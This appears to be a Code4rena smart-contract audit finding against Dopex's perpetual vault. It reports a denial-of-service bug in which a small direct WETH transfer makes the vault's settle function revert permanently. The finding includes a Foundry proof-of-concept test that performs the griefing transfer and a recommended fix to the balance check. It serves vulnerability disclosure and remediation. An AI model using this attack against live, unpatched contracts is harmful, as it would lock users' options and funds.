Dopex - auditsea's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L200-L203

Vulnerability details

Impact

By the behavior of a malicious user, subtractLoss in LP Vault and settle in Vault will always revert, which will result in options not being settled forever.

Proof of Concept

Here's a test case to make settle revert.

  function testSettleDos() public {
    weth.mint(address(1), 1 ether);
    deposit(1 ether, address(1));

    vault.purchase(1 ether, address(this));

    // Malicious code begin
    address attacker = address(0xa77);
    weth.mint(attacker, 1 ether);

    vm.startPrank(attacker);
    weth.transfer(address(vaultLp), 0.01 ether);
    vm.stopPrank();
    // Malicious code end

    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;

    priceOracle.updateRdpxPrice(0.010 gwei); // ITM

    vm.expectRevert("Not enough collateral was sent out");

    vault.settle(ids);
  }

Tools Used

Manual Review

Recommended Mitigation Steps

In subtractLoss function, it should be checking with >= instead of ==.

function subtractLoss(uint256 loss) public onlyPerpVault {
  require(
    collateral.balanceOf(address(this)) >= _totalCollateral - loss,
    "Not enough collateral was sent out"
  );
  _totalCollateral -= loss;
}

Assessed type

DoS